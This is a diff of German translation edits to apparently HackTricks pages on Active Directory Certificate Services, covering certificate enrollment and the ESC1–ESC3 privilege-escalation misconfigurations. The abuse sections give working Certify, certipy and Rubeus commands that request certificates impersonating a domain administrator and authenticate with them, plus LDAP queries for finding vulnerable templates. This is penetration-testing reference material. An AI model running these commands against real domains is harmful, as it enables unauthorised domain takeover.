- Die **Basic Constraints** geben an, ob das Zertifikat für eine CA oder für ein End Entity bestimmt ist, und definieren Nutzungsbeschränkungen.
|
||||
- Die **Extended Key Usages (EKUs)** legen die spezifischen Zwecke des Zertifikats fest, z. B. Code-Signing oder E-Mail-Verschlüsselung, über Object Identifiers (OIDs).
|
||||
- Der **Signature Algorithm** legt die Methode zum Signieren des Zertifikats fest.
|
||||
- Die **Signature**, mit dem privaten Schlüssel des Issuers erstellt, garantiert die Authentizität des Zertifikats.
|
||||
|
||||
### Special Considerations
|
||||
### Besondere Überlegungen
|
||||
|
||||
- **Subject Alternative Names (SANs)** expand a certificate's applicability to multiple identities, crucial for servers with multiple domains. Secure issuance processes are vital to avoid impersonation risks by attackers manipulating the SAN specification.
|
||||
- **Subject Alternative Names (SANs)** erweitern die Anwendbarkeit eines Zertifikats auf mehrere Identitäten und sind besonders wichtig für Server mit mehreren Domains. Sichere Ausstellungsprozesse sind entscheidend, um Risiken der Identitätsvortäuschung zu vermeiden, etwa durch Angreifer, die die SAN-Spezifikation manipulieren.
|
||||
|
||||
### Certificate Authorities (CAs) in Active Directory (AD)
|
||||
### Zertifizierungsstellen (CAs) in Active Directory (AD)
|
||||
|
||||
AD CS acknowledges CA certificates in an AD forest through designated containers, each serving unique roles:
|
||||
AD CS erkennt CA-Zertifikate in einem AD-Forest durch bestimmte Container an, die jeweils unterschiedliche Rollen erfüllen:
|
||||
|
||||
- **Certification Authorities** container holds trusted root CA certificates.
|
||||
- **Enrolment Services** container details Enterprise CAs and their certificate templates.
|
||||
- **NTAuthCertificates** object includes CA certificates authorized for AD authentication.
|
||||
- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates.
|
||||
- Der Container **Certification Authorities** enthält vertrauenswürdige Root-CA-Zertifikate.
|
||||
- Der Container **Enrolment Services** enthält Informationen zu Enterprise CAs und deren Zertifikatvorlagen.
|
||||
- Das Objekt **NTAuthCertificates** enthält CA-Zertifikate, die für AD-Authentifizierung autorisiert sind.
|
||||
- Der **AIA (Authority Information Access)** Container erleichtert die Validierung der Zertifikatskette mit Zwischen- und Cross-CA-Zertifikaten.
|
||||
|
||||
### Certificate Acquisition: Client Certificate Request Flow
|
||||
### Zertifikatserwerb: Ablauf einer Client-Zertifikatsanfrage
|
||||
|
||||
1. The request process begins with clients finding an Enterprise CA.
|
||||
2. A CSR is created, containing a public key and other details, after generating a public-private key pair.
|
||||
3. The CA assesses the CSR against available certificate templates, issuing the certificate based on the template's permissions.
|
||||
4. Upon approval, the CA signs the certificate with its private key and returns it to the client.
|
||||
1. Der Anforderungsprozess beginnt damit, dass Clients eine Enterprise CA finden.
|
||||
2. Ein CSR wird erstellt, der nach Generierung eines Public-/Private-Key-Paares einen Public Key und weitere Details enthält.
|
||||
3. Die CA bewertet den CSR anhand verfügbarer Zertifikatvorlagen und stellt das Zertifikat basierend auf den Berechtigungen der Vorlage aus.
|
||||
4. Nach Genehmigung signiert die CA das Zertifikat mit ihrem privaten Schlüssel und gibt es an den Client zurück.
|
||||
|
||||
### Certificate Templates
|
||||
### Zertifikatvorlagen
|
||||
|
||||
Defined within AD, these templates outline the settings and permissions for issuing certificates, including permitted EKUs and enrollment or modification rights, critical for managing access to certificate services.
|
||||
In AD definierte Vorlagen legen Einstellungen und Berechtigungen für die Ausstellung von Zertifikaten fest, einschließlich erlaubter EKUs und Enrollment- oder Änderungsrechte, und sind entscheidend für die Verwaltung des Zugriffs auf Zertifikatdienste.
|
||||
|
||||
## Certificate Enrollment
|
||||
## Zertifikats-Enrollment
|
||||
|
||||
Der Enrollment-Prozess für Zertifikate wird von einem Administrator initiiert, der eine **certificate template** erstellt, welche anschließend von einer Enterprise Certificate Authority (CA) **veröffentlicht** wird. Dadurch wird die Vorlage für die Client-Enrollments verfügbar, ein Schritt, der erreicht wird, indem der Name der Vorlage zum `certificatetemplates` Feld eines Active Directory-Objekts hinzugefügt wird.
|
||||
Der Enrollment-Prozess wird von einem Administrator initiiert, der eine **Zertifikatvorlage erstellt**, die dann von einer Enterprise Certificate Authority (CA) **publiziert** wird. Dadurch wird die Vorlage für Client-Enrollment verfügbar, ein Schritt, der erreicht wird, indem der Name der Vorlage dem Feld `certificatetemplates` eines Active Directory-Objekts hinzugefügt wird.
|
||||
|
||||
Damit ein Client ein Zertifikat anfordern kann, müssen ihm **Enrollment-Rechte** gewährt werden. Diese Rechte werden durch Security Descriptors auf der certificate template und auf der Enterprise CA selbst definiert. Berechtigungen müssen an beiden Stellen gesetzt sein, damit eine Anfrage erfolgreich ist.
|
||||
Damit ein Client ein Zertifikat anfordern kann, müssen **enrollment rights** gewährt werden. Diese Rechte werden durch Sicherheitsdeskriptoren sowohl auf der Zertifikatvorlage als auch auf der Enterprise CA selbst definiert. Berechtigungen müssen an beiden Stellen vergeben sein, damit eine Anfrage erfolgreich ist.
|
||||
|
||||
### Template Enrollment Rights
|
||||
### Enrollment-Berechtigungen der Vorlage
|
||||
|
||||
Diese Rechte werden über Access Control Entries (ACEs) spezifiziert und beschreiben Berechtigungen wie:
|
||||
Diese Rechte werden durch Access Control Entries (ACEs) festgelegt und beschreiben Berechtigungen wie:
|
||||
|
||||
- **Certificate-Enrollment** und **Certificate-AutoEnrollment** Rechte, jeweils verknüpft mit spezifischen GUIDs.
|
||||
- **ExtendedRights**, die alle erweiterten Berechtigungen zulassen.
|
||||
- **Certificate-Enrollment** und **Certificate-AutoEnrollment** Rechte, jeweils mit bestimmten GUIDs verknüpft.
|
||||
- **ExtendedRights**, die alle erweiterten Berechtigungen erlauben.
|
||||
- **FullControl/GenericAll**, die vollständige Kontrolle über die Vorlage gewähren.
|
||||
|
||||
### Enterprise CA Enrollment Rights
|
||||
### Enterprise-CA Enrollment-Berechtigungen
|
||||
|
||||
Die Rechte der CA sind im Security Descriptor der CA beschrieben, der über die Certificate Authority Management-Konsole zugänglich ist. Einige Einstellungen erlauben sogar Low-Privileged Usern Remote-Zugriff, was ein Sicherheitsrisiko darstellen kann.
|
||||
Die Rechte der CA sind in ihrem Sicherheitsdeskriptor festgelegt und über die Certificate Authority Management-Konsole zugänglich. Einige Einstellungen erlauben sogar niedrig privilegierten Benutzern Remote-Zugriff, was ein Sicherheitsrisiko darstellen kann.
|
||||
|
||||
### Additional Issuance Controls
|
||||
### Zusätzliche Ausstellungssteuerungen
|
||||
|
||||
Bestimmte Kontrollen können angewendet werden, wie z. B.:
|
||||
Bestimmte Kontrollen können angewendet werden, z. B.:
|
||||
|
||||
- **Manager Approval**: Platziert Anfragen in einem Pending-Zustand, bis ein Certificate Manager diese genehmigt.
|
||||
- **Enrolment Agents and Authorized Signatures**: Legen die Anzahl erforderlicher Signaturen auf einer CSR und die nötigen Application Policy OIDs fest.
|
||||
- **Manager Approval**: Setzt Anfragen in einen ausstehenden Zustand, bis sie von einem Certificate Manager genehmigt werden.
|
||||
- **Enrolment Agents and Authorized Signatures**: Legen die Anzahl erforderlicher Signaturen auf einem CSR und die notwendigen Application Policy OIDs fest.
|
||||
|
||||
### Methods to Request Certificates
|
||||
### Methoden zum Anfordern von Zertifikaten
|
||||
|
||||
Zertifikate können angefordert werden über:
|
||||
|
||||
1. Das **Windows Client Certificate Enrollment Protocol** (MS-WCCE), unter Verwendung von DCOM-Interfaces.
|
||||
2. Das **ICertPassage Remote Protocol** (MS-ICPR), über Named Pipes oder TCP/IP.
|
||||
3. Die **certificate enrollment web interface**, wenn die Certificate Authority Web Enrollment Rolle installiert ist.
|
||||
4. Den **Certificate Enrollment Service** (CES), in Verbindung mit dem Certificate Enrollment Policy (CEP) Service.
|
||||
5. Den **Network Device Enrollment Service** (NDES) für Netzwerkgeräte, unter Nutzung des Simple Certificate Enrollment Protocol (SCEP).
|
||||
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), über DCOM-Schnittstellen.
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), über Named Pipes oder TCP/IP.
|
||||
3. Die **certificate enrollment web interface**, wenn die Certificate Authority Web Enrollment-Rolle installiert ist.
|
||||
4. Den **Certificate Enrollment Service** (CES), in Verbindung mit dem Certificate Enrollment Policy (CEP)-Dienst.
|
||||
5. Den **Network Device Enrollment Service** (NDES) für Netzwerkgeräte, unter Verwendung des Simple Certificate Enrollment Protocol (SCEP).
|
||||
|
||||
Windows-Benutzer können Zertifikate außerdem über die GUI (`certmgr.msc` oder `certlm.msc`) oder über Kommandozeilentools (`certreq.exe` oder PowerShells `Get-Certificate`-Befehl) anfordern.
|
||||
Windows-Benutzer können Zertifikate auch über die GUI (`certmgr.msc` oder `certlm.msc`) oder über Kommandozeilentools (`certreq.exe` oder PowerShells `Get-Certificate`-Befehl) anfordern.
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
```
|
||||
## Zertifikat-Authentifizierung
|
||||
## Zertifikatsauthentifizierung
|
||||
|
||||
Active Directory (AD) unterstützt die Zertifikat-Authentifizierung und verwendet hauptsächlich die Protokolle **Kerberos** und **Secure Channel (Schannel)**.
|
||||
Active Directory (AD) unterstützt Zertifikatsauthentifizierung und verwendet primär die Protokolle **Kerberos** und **Secure Channel (Schannel)**.
|
||||
|
||||
### Kerberos-Authentifizierungsprozess
|
||||
|
||||
Im Kerberos-Authentifizierungsprozess wird die Anfrage eines Benutzers für ein Ticket Granting Ticket (TGT) mit dem **private key** des Benutzerzertifikats signiert. Diese Anfrage durchläuft beim Domain Controller mehrere Prüfungen, darunter die **Gültigkeit**, der **Pfad** und der **Widerrufsstatus** des Zertifikats. Zu den Prüfungen gehört außerdem die Überprüfung, dass das Zertifikat aus einer vertrauenswürdigen Quelle stammt und die Bestätigung, dass der Aussteller im **NTAUTH certificate store** vorhanden ist. Erfolgreiche Prüfungen führen zur Ausstellung eines TGT. Das **`NTAuthCertificates`**-Objekt in AD, zu finden unter:
|
||||
Im Kerberos-Authentifizierungsprozess wird die Anfrage eines Benutzers für ein Ticket Granting Ticket (TGT) mit dem **privaten Schlüssel** des Benutzerzertifikats signiert. Diese Anfrage unterliegt mehreren Prüfungen durch den Domain Controller, einschließlich der **Gültigkeit**, des **Zertifikatspfads** und des **Widerrufsstatus** des Zertifikats. Zu den Prüfungen gehört auch die Überprüfung, dass das Zertifikat von einer vertrauenswürdigen Quelle stammt, sowie die Bestätigung, dass der Aussteller im **NTAUTH Zertifikatspeicher** vorhanden ist. Erfolgreiche Prüfungen führen zur Ausstellung eines TGT. Das **`NTAuthCertificates`**-Objekt in AD, zu finden unter:
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
@ -95,11 +95,11 @@ ist zentral für den Aufbau von Vertrauen bei der Zertifikatsauthentifizierung.
|
||||
|
||||
### Secure Channel (Schannel) Authentifizierung
|
||||
|
||||
Schannel erleichtert sichere TLS/SSL-Verbindungen, bei denen während eines Handshakes der Client ein Zertifikat präsentiert, das, wenn es erfolgreich validiert wird, den Zugriff autorisiert. Die Zuordnung eines Zertifikats zu einem AD-Konto kann Kerberos’ **S4U2Self**-Funktion oder den **Subject Alternative Name (SAN)** des Zertifikats umfassen, neben anderen Methoden.
|
||||
Schannel ermöglicht sichere TLS/SSL-Verbindungen, bei denen der Client während des Handshakes ein Zertifikat präsentiert, das bei erfolgreicher Validierung Zugriff autorisiert. Die Zuordnung eines Zertifikats zu einem AD-Konto kann Kerberos’ **S4U2Self**-Funktion oder den Zertifikats-**Subject Alternative Name (SAN)** sowie andere Methoden involvieren.
|
||||
|
||||
### AD Certificate Services Enumeration
|
||||
|
||||
Die Zertifikatdienste von AD können über LDAP-Abfragen enumeriert werden, wodurch Informationen über **Enterprise Certificate Authorities (CAs)** und deren Konfigurationen offenbart werden. Dies ist für jeden domänen-authentifizierten Benutzer ohne besondere Berechtigungen zugänglich. Tools wie **[Certify](https://github.com/GhostPack/Certify)** und **[Certipy](https://github.com/ly4k/Certipy)** werden zur Enumeration und Schwachstellenbewertung in AD CS-Umgebungen verwendet.
|
||||
Die Certificate Services von AD können durch LDAP-Abfragen enumerated werden und liefern Informationen über **Enterprise Certificate Authorities (CAs)** und deren Konfigurationen. Dies ist für jeden domänenauthentifizierten Benutzer ohne besondere Privilegien zugänglich. Tools wie **[Certify](https://github.com/GhostPack/Certify)** und **[Certipy](https://github.com/ly4k/Certipy)** werden für enumeration und vulnerability assessment in AD CS-Umgebungen verwendet.
|
||||
|
||||
Befehle zur Verwendung dieser Tools umfassen:
|
||||
```bash
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**Dies ist eine Zusammenfassung der Eskalationstechniken in den folgenden Beiträgen:**
|
||||
**Dies ist eine Zusammenfassung der Eskalationstechnik-Abschnitte der Beiträge:**
|
||||
|
||||
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
|
||||
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
@ -15,30 +15,30 @@
|
||||
|
||||
### Fehlkonfigurierte Zertifikatvorlagen - ESC1 erklärt
|
||||
|
||||
- **Einschreiberechte werden von der Enterprise CA an niedrigprivilegierte Benutzer vergeben.**
|
||||
- **Eine Genehmigung durch einen Manager ist nicht erforderlich.**
|
||||
- **Unterschriften autorisierten Personals sind nicht erforderlich.**
|
||||
- **Sicherheitsdeskriptoren auf Zertifikatvorlagen sind zu großzügig und erlauben niedrigprivilegierten Benutzern, Einschreiberechte zu erhalten.**
|
||||
- **Zertifikatvorlagen sind so konfiguriert, dass EKUs definiert werden, die die Authentifizierung ermöglichen:**
|
||||
- Extended Key Usage (EKU)-Kennungen wie Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) oder kein EKU (SubCA) sind enthalten.
|
||||
- **Die Vorlage erlaubt Anfragenden, einen subjectAltName im Certificate Signing Request (CSR) anzugeben:**
|
||||
- Active Directory (AD) priorisiert den subjectAltName (SAN) in einem Zertifikat für die Identitätsprüfung, falls dieser vorhanden ist. Das bedeutet, dass durch das Angeben des SAN in einer CSR ein Zertifikat angefordert werden kann, um sich als beliebiger Benutzer (z. B. ein Domain-Administrator) auszugeben. Ob ein Antragsteller einen SAN angeben kann, wird im AD-Objekt der Zertifikatvorlage durch die Eigenschaft `mspki-certificate-name-flag` angezeigt. Diese Eigenschaft ist eine Bitmaske, und das Vorhandensein des Flags `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` erlaubt dem Antragsteller, den SAN anzugeben.
|
||||
- **Enrolment-Rechte werden von der Enterprise CA an niedrig privilegierte Benutzer vergeben.**
|
||||
- **Manager-Genehmigung ist nicht erforderlich.**
|
||||
- **Keine Signaturen von autorisiertem Personal sind nötig.**
|
||||
- **Security Descriptors auf Zertifikatvorlagen sind zu permissiv und erlauben es niedrig privilegierten Benutzern, Enrolment-Rechte zu erhalten.**
|
||||
- **Zertifikatvorlagen sind so konfiguriert, dass sie EKUs definieren, die die Authentifizierung ermöglichen:**
|
||||
- Extended Key Usage (EKU) Identifier wie Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) oder kein EKU (SubCA) sind enthalten.
|
||||
- **Die Vorlage erlaubt es Antragstellern, ein subjectAltName in die Certificate Signing Request (CSR) aufzunehmen:**
|
||||
- Active Directory (AD) priorisiert das subjectAltName (SAN) in einem Zertifikat für die Identitätsüberprüfung, falls vorhanden. Das bedeutet, dass durch die Angabe des SAN in einer CSR ein Zertifikat angefordert werden kann, das jede beliebige Identität (z. B. einen Domain-Administrator) impersonifiziert. Ob ein SAN vom Antragsteller angegeben werden kann, wird im AD-Objekt der Zertifikatvorlage durch die Eigenschaft `mspki-certificate-name-flag` angezeigt. Diese Eigenschaft ist eine Bitmaske, und das Vorhandensein des Flags `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` erlaubt die Angabe des SAN durch den Antragsteller.
|
||||
|
||||
> [!CAUTION]
|
||||
> Die beschriebene Konfiguration erlaubt niedrigprivilegierten Benutzern, Zertifikate mit beliebigem SAN anzufordern, wodurch eine Authentifizierung als beliebiges Domain-Principal über Kerberos oder SChannel möglich wird.
|
||||
> Die beschriebene Konfiguration erlaubt es niedrig privilegierten Benutzern, Zertifikate mit einem beliebigen SAN zu verlangen, wodurch eine Authentifizierung als beliebiges Domain-Principal über Kerberos oder SChannel möglich ist.
|
||||
|
||||
Dieses Feature ist manchmal aktiviert, um die on-the-fly-Erzeugung von HTTPS- oder Host-Zertifikaten durch Produkte oder Deployment-Services zu unterstützen, oder aufgrund von Unkenntnis.
|
||||
Diese Funktion ist manchmal aktiviert, um die on-the-fly-Erzeugung von HTTPS- oder Host-Zertifikaten durch Produkte oder Deployment-Services zu unterstützen oder aufgrund fehlenden Verständnisses.
|
||||
|
||||
Es sei angemerkt, dass das Erstellen eines Zertifikats mit dieser Option eine Warnung auslöst, was nicht der Fall ist, wenn eine vorhandene Zertifikatvorlage (wie die `WebServer`-Vorlage, die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` aktiviert hat) dupliziert und anschließend so geändert wird, dass sie eine Authentifizierungs-OID enthält.
|
||||
Es wird darauf hingewiesen, dass das Erstellen eines Zertifikats mit dieser Option eine Warnung auslöst, was nicht der Fall ist, wenn eine vorhandene Zertifikatvorlage (wie die `WebServer`-Vorlage, die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` aktiviert hat) dupliziert und anschließend geändert wird, um eine Authentifizierungs-OID einzuschließen.
|
||||
|
||||
### Missbrauch
|
||||
|
||||
Um **verwundbare Zertifikatvorlagen** zu finden, können Sie ausführen:
|
||||
Um **verwundbare Zertifikatvorlagen zu finden** können Sie ausführen:
|
||||
```bash
|
||||
Certify.exe find /vulnerable
|
||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
```
|
||||
Um **diese Schwachstelle auszunutzen, um sich als Administrator auszugeben**, könnte man Folgendes ausführen:
|
||||
Um **diese Schwachstelle auszunutzen, um sich als Administrator auszugeben**, könnte man ausführen:
|
||||
```bash
|
||||
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
|
||||
@ -54,14 +54,14 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
|
||||
-template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
Anschließend kannst du das erzeugte Zertifikat in das `.pfx`-Format umwandeln und es erneut zur Authentifizierung mit Rubeus oder certipy verwenden:
|
||||
Anschließend können Sie das erzeugte **Zertifikat in das `.pfx`-Format** konvertieren und es erneut verwenden, um sich mit **Rubeus oder certipy** zu authentifizieren:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Die Windows-Binaries "Certreq.exe" & "Certutil.exe" können verwendet werden, um die PFX zu generieren: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
Die Windows-Binaries "Certreq.exe" & "Certutil.exe" können verwendet werden, um eine PFX-Datei zu erzeugen: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
Die Enumeration der Zertifikatsvorlagen innerhalb des AD Forest-Konfigurationsschemas — speziell solcher, die keine Genehmigung oder Signaturen benötigen, ein Client Authentication- oder Smart Card Logon EKU besitzen und bei denen das Flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` gesetzt ist — kann durch Ausführen der folgenden LDAP-Abfrage durchgeführt werden:
|
||||
Die Auflistung von Zertifikatvorlagen im Konfigurationsschema des AD-Forest, speziell jener, die keine Genehmigung oder Signaturen erfordern, die eine Client Authentication- oder Smart Card Logon-EKU besitzen und bei denen das Flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` gesetzt ist, kann durch Ausführen der folgenden LDAP-Abfrage erfolgen:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
@ -71,49 +71,49 @@ Die Enumeration der Zertifikatsvorlagen innerhalb des AD Forest-Konfigurationssc
|
||||
|
||||
Das zweite Missbrauchsszenario ist eine Variante des ersten:
|
||||
|
||||
1. Enrollment-Rechte werden vom Enterprise CA an niedrig privilegierte Benutzer vergeben.
|
||||
2. Die Anforderung einer Genehmigung durch Vorgesetzte ist deaktiviert.
|
||||
3. Die Notwendigkeit autorisierter Signaturen wurde weggelassen.
|
||||
4. Ein zu permissiver Security Descriptor auf der Zertifikatvorlage gewährt niedrig privilegierten Benutzern Enrollment-Rechte für Zertifikate.
|
||||
5. **Die Zertifikatvorlage ist so definiert, dass sie die Any Purpose EKU enthält oder kein EKU besitzt.**
|
||||
1. Die Enterprise CA gewährt Benutzern mit geringen Rechten Registrierungsrechte.
|
||||
2. Die Genehmigung durch einen Vorgesetzten ist deaktiviert.
|
||||
3. Die Notwendigkeit autorisierter Signaturen ist nicht erforderlich.
|
||||
4. Ein zu permissiver Security Descriptor auf der Zertifikatvorlage gewährt Benutzern mit geringen Rechten das Recht zur Zertifikatsregistrierung.
|
||||
5. **Die Zertifikatvorlage ist so definiert, dass sie das Any Purpose EKU oder kein EKU enthält.**
|
||||
|
||||
Die **Any Purpose EKU** erlaubt einem Angreifer, ein Zertifikat für **beliebige Zwecke** zu erhalten, einschließlich Client-Authentifizierung, Server-Authentifizierung, Code-Signierung usw. Dieselbe **Technik wie bei ESC3** kann verwendet werden, um dieses Szenario auszunutzen.
|
||||
Das **Any Purpose EKU** erlaubt einem Angreifer, ein Zertifikat für **beliebigen Zweck** zu beziehen, einschließlich Client-Authentifizierung, Server-Authentifizierung, Code-Signing usw. Dieselbe **Technik, die für ESC3 verwendet wird**, kann genutzt werden, um dieses Szenario auszunutzen.
|
||||
|
||||
Zertifikate mit **no EKUs**, die als untergeordnete CA-Zertifikate fungieren, können für **beliebige Zwecke** missbraucht werden und **auch zum Signieren neuer Zertifikate verwendet werden**. Folglich könnte ein Angreifer durch Verwendung eines untergeordneten CA-Zertifikats beliebige EKUs oder Felder in den neuen Zertifikaten festlegen.
|
||||
Zertifikate mit **no EKUs**, die als subordinate CA-Zertifikate fungieren, können für **beliebigen Zweck** ausgenutzt werden und **auch zum Signieren neuer Zertifikate verwendet werden**. Ein Angreifer könnte daher mittels eines subordinate CA-Zertifikats beliebige EKUs oder Felder in den neuen Zertifikaten angeben.
|
||||
|
||||
Allerdings funktionieren neu erstellte Zertifikate für **domain authentication** nicht, wenn das untergeordnete CA nicht vom Objekt **`NTAuthCertificates`** vertraut wird, was die Standardeinstellung ist. Nichtsdestotrotz kann ein Angreifer weiterhin **neue Zertifikate mit any EKU** und beliebigen Zertifikatswerten erstellen. Diese könnten potenziell für eine Vielzahl von Zwecken **missbraucht** werden (z. B. Code-Signierung, Server-Authentifizierung usw.) und erhebliche Auswirkungen auf andere Anwendungen im Netzwerk wie SAML, AD FS oder IPSec haben.
|
||||
Allerdings funktionieren neu erstellte Zertifikate für die **domain authentication** nicht, wenn die subordinate CA nicht vom Objekt `NTAuthCertificates` vertraut wird, was die Standardeinstellung ist. Nichtsdestotrotz kann ein Angreifer weiterhin **neue Zertifikate mit beliebigen EKUs** und beliebige Zertifikatwerte erstellen. Diese könnten potenziell für viele Zwecke **missbraucht** werden (z. B. Code-Signing, Server-Authentifizierung usw.) und erhebliche Auswirkungen auf andere Anwendungen im Netzwerk haben, wie SAML, AD FS oder IPSec.
|
||||
|
||||
Um Vorlagen zu enumerieren, die diesem Szenario innerhalb des Konfigurationsschemas des AD Forests entsprechen, kann die folgende LDAP-Abfrage ausgeführt werden:
|
||||
Um Vorlagen zu ermitteln, die diesem Szenario im Konfigurationsschema des AD Forests entsprechen, kann die folgende LDAP-Abfrage ausgeführt werden:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||
```
|
||||
## Fehlkonfigurierte Enrolment Agent-Vorlagen - ESC3
|
||||
## Fehlkonfigurierte Enrolment Agent Templates - ESC3
|
||||
|
||||
### Erklärung
|
||||
|
||||
Dieses Szenario ist ähnlich wie das erste und zweite, aber mit dem **Missbrauch** einer **anderen EKU** (Certificate Request Agent) und **2 unterschiedlicher Vorlagen** (daher gibt es 2 Anforderungssätze),
|
||||
Dieses Szenario ähnelt dem ersten und zweiten, nutzt jedoch **einen anderen EKU** (Certificate Request Agent) und **2 verschiedene Vorlagen** (daher gibt es 2 Anforderungssätze).
|
||||
|
||||
Die **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), in der Microsoft-Dokumentation als **Enrollment Agent** bezeichnet, erlaubt einer Identität, für ein **Zertifikat** **im Namen eines anderen Benutzers** zu **beantragen**.
|
||||
Der **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), in der Microsoft-Dokumentation als **Enrollment Agent** bezeichnet, erlaubt es einem Prinzipal, ein **Zertifikat** im **Namen eines anderen Benutzers** zu **beantragen**.
|
||||
|
||||
Der **„enrollment agent“** meldet sich für eine solche **Vorlage** an und verwendet das resultierende **Zertifikat, um eine CSR im Namen des anderen Benutzers mitzuunterzeichnen**. Anschließend **sendet** er die **mitunterzeichnete CSR** an die CA, beantragt eine **Vorlage**, die das **„enroll on behalf of“** erlaubt, und die CA antwortet mit einem **Zertifikat, das dem „anderen“ Benutzer gehört**.
|
||||
Der **„enrollment agent“** meldet sich für eine solche **Vorlage** an und verwendet das resultierende **Zertifikat, um eine CSR im Namen des anderen Benutzers mitzuunterzeichnen**. Er **sendet** dann die **mitunterschriebene CSR** an die CA, meldet sich in einer **Vorlage** an, die das **„enroll on behalf of“** erlaubt, und die CA antwortet mit einem **Zertifikat, das dem „anderen“ Benutzer gehört**.
|
||||
|
||||
**Anforderungen 1:**
|
||||
|
||||
- Die Enterprise CA gewährt niedrig privilegierten Benutzern Registrierungsrechte.
|
||||
- Die Anforderung einer Manager-Genehmigung wurde weggelassen.
|
||||
- Keine Anforderung für autorisierte Signaturen.
|
||||
- Der Sicherheitsdeskriptor der Zertifikatvorlage ist übermäßig permissiv und gewährt niedrig privilegierten Benutzern Registrierungsrechte.
|
||||
- Die Zertifikatvorlage enthält die Certificate Request Agent EKU, wodurch das Anfordern anderer Zertifikatvorlagen im Namen anderer Principals ermöglicht wird.
|
||||
- Die Enterprise CA gewährt gering privilegierten Benutzern Registrierungsrechte.
|
||||
- Die Anforderung einer Genehmigung durch einen Manager entfällt.
|
||||
- Keine Anforderung autorisierter Signaturen.
|
||||
- Der Sicherheitsdeskriptor der Zertifikatvorlage ist übermäßig permissiv und gewährt Registrierungsrechte an gering privilegierte Benutzer.
|
||||
- Die Zertifikatvorlage enthält den Certificate Request Agent EKU, wodurch das Anfordern anderer Zertifikatvorlagen im Auftrag anderer Prinzipale ermöglicht wird.
|
||||
|
||||
**Anforderungen 2:**
|
||||
|
||||
- Die Enterprise CA gewährt niedrig privilegierten Benutzern Registrierungsrechte.
|
||||
- Die Manager-Genehmigung wird umgangen.
|
||||
- Die Schema-Version der Vorlage ist entweder 1 oder größer als 2, und sie spezifiziert ein Application Policy Issuance Requirement, das die Certificate Request Agent EKU erfordert.
|
||||
- Eine in der Zertifikatvorlage definierte EKU erlaubt Domänen-Authentifizierung.
|
||||
- Einschränkungen für Enrollment Agents werden auf der CA nicht angewendet.
|
||||
- Die Enterprise CA gewährt gering privilegierten Benutzern Registrierungsrechte.
|
||||
- Die Genehmigung durch einen Manager wird umgangen.
|
||||
- Die Schema-Version der Vorlage ist entweder 1 oder größer als 2, und sie spezifiziert eine Application Policy Issuance Requirement, die den Certificate Request Agent EKU erfordert.
|
||||
- Ein in der Zertifikatvorlage definiertes EKU erlaubt die Domänen-Authentifizierung.
|
||||
- Beschränkungen für Enrollment Agents werden von der CA nicht angewendet.
|
||||
|
||||
### Missbrauch
|
||||
### Abuse
|
||||
|
||||
Sie können [**Certify**](https://github.com/GhostPack/Certify) oder [**Certipy**](https://github.com/ly4k/Certipy) verwenden, um dieses Szenario auszunutzen:
|
||||
```bash
|
||||
